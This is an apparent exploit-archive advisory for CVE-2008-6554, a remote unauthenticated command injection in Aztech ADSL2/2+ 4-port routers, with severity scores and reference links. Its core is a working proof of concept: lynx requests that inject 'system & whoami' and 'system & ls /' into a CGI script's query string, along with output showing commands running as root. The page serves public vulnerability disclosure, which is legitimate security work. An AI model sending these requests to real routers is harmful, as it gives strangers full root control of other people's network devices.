Aztech ADSL2/2+ 4 Port remote root

2009.04.01

Credit: sipherr

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-6554

CWE: CWE-20

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

(http://www.aztech.com)
# cat versions
VERSION=3.7.0
BUILD=070426
BOARD=AR7RD
FSSTAMP=20070426171252
Example:
$ lynx "http://192.168.0.5/cgi-bin/script?system%20&%20whoami" --source
root
$ lynx "http://192.168.0.5/cgi-bin/script?system%20&%20ls /" --source
bin
dev
etc
lib
proc
sbin
usr
var
var.tar
$
http://core.ifconfig.se/~core/

References:

http://xforce.iss.net/xforce/xfdb/41492

http://www.securityfocus.com/bid/28458

http://www.securityfocus.com/archive/1/archive/1/490100/100/0/threaded

http://secunia.com/advisories/29551

http://osvdb.org/44267

See this note in RAW Version

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Aztech ADSL2/2+ 4 Port remote root

References:

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